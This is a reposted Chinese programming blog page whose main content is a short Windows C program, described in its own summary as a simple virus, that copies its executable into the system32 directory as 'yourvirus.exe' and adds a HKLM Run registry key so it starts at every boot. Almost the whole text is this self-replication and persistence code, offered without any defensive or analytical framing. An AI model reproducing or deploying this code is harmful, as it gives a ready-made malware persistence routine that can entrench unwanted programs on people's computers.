C++：程序的自我复制及开机启动

最新推荐文章于 2024-02-05 14:00:00 发布

weixin_33918114

最新推荐文章于 2024-02-05 14:00:00 发布

阅读量235

点赞数

CC 4.0 BY-SA版权

文章标签： c/c++

原文链接：http://www.cnblogs.com/likebeta/archive/2012/04/06/2434608.html

本文介绍了一个简单的Windows平台下病毒程序自我复制的方法，并通过修改注册表实现开机自启动的功能。程序使用C语言编写，利用了GetModuleHandle、GetModuleFileName等API获取自身路径，再使用CopyFile函数进行自我复制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

#include <windows.h>

int WINAPI WinMain(HINSTANCE hThisInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
    HMODULE GetModH = GetModuleHandle(NULL);
//得到当前执行文件的全路径
    GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
//得到系统文件所在目录的路径，如c:\windows\system32
    GetSystemDirectory(system,sizeof(system));
//形成要复制到的全路径，如c:\windows\system32\yourvirus.exe
    strcat(system,"\\yourvirus.exe");
//自我复制到目标路径
    CopyFile(pathtofile,system,false);

//写入注册表，以便开机自动运行
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey );
    RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
    RegCloseKey(hKey);
return 0;
}